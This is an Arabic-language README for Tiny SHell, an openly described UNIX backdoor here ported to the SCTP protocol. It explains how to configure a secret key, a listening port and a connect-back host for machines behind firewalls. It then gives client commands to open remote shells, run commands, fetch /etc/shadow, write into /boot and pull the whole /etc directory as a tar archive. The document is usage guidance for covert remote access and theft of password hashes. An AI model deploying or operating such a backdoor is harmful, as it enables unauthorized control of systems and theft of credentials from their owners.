
نقل TinySHell إلى SCTP
Tiny SHell - باب خلفي مفتوح المصدر لنظام UNIX
* قبل تجميع Tiny SHell
1. أولاً، يجب عليك إعداد مفتاحك السري، الموجود
في tsh.h؛ يمكن أن يكون المفتاح بأي طول (استخدم
12 حرفًا على الأقل لأمان أفضل).
2. يُنصح بتغيير SERVER_PORT، المنفذ الذي
سيستمع عليه الخادم للاتصالات الواردة.
3. قد ترغب في تشغيل tshd في وضع "connect-back" إذا
كان يعمل على جهاز محمي بجدار ناري؛ ببساطة قم بإلغاء التعليق
وتعديل CONNECT_BACK_HOST في tsh.h.
* تجميع Tiny SHell
شغّل "make <system>"، حيث يمكن أن يكون <system> أيًا من هذه:
linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf
* كيفية استخدام الخادم
قد يكون من المفيد تعيين $HOME وقناع إنشاء الملفات
قبل تشغيل الخادم:
% umask 077; HOME=/var/tmp ./tshd
* كيفية استخدام العميل
تأكد من أن tshd يعمل على المضيف البعيد. يمكنك:
- تشغيل غلاف (shell):
./tsh <hostname>
- تنفيذ أمر:
./tsh <hostname> "uname -a"
- نقل الملفات:
./tsh <hostname> get /etc/shadow .
./tsh <hostname> put vmlinuz /boot
ملاحظة: إذا كان الخادم يعمل في وضع connect-back، استبدل
اسم المضيف البعيد بـ "cb".
* حول نقل الملفات المتعددة
في الوقت الحالي، لا يدعم Tiny SHell نقل الملفات المتعددة
و/أو المتكررة على غرار scp. يمكنك تجاوز هذا الخطأ
ببساطة عن طريق إنشاء أرشيف tar ونقله. مثال:
./tsh host "stty raw; tar -cf - /etc 2>/dev/null" | tar -xvf -
* حول أوضاع الطرفية
في بعض الأنظمة سيئة التصميم (في الواقع، IRIX وHP-UX)، لا تعمل
Ctrl-C ومفاتيح التحكم الأخرى بشكل صحيح. أصلح ذلك باستخدام:
% stty intr "^C" erase "^H" eof "^D" susp "^Z" kill "^U"
* حول الأمان
يرجى تذكر أن المفتاح السري مخزّن بنص واضح داخل
كل من التنفيذيين tsh وtshd؛ لذلك يجب عليك التأكد
من أنه لا يمكن لأحد غيرك الوصول للقراءة إلى هذين الملفين.
ومع ذلك، يمكنك اختيار عدم تخزين المفتاح الحقيقي (الصالح) في
العميل، والذي سيسأل عندها عن كلمة مرور عند تشغيله.
* ملاحظات بخصوص إصدار SCTP:
تم اختباره على Archlinux فقط حتى الآن، فتوقع فشله بشكل فظيع
على أي شيء آخر.
إنه تعديل قبيح إلى حد ما، ويحتوي على بعض أخطاء الترجمة التي أخطط
لتتبعها وإصلاحها في النهاية.
أمان ملف الباب الخلفي (tsh) - أي كون كلمة المرور بنص
واضح - سيتم إصلاحه قريبًا بتخزين كلمة مرور مشفرة فقط.
الاختبار على hpux و*bsd وما إلى ذلك بمجرد أن يتوفر لديّ إمكانية الوصول إلى مثل هذه الأجهزة.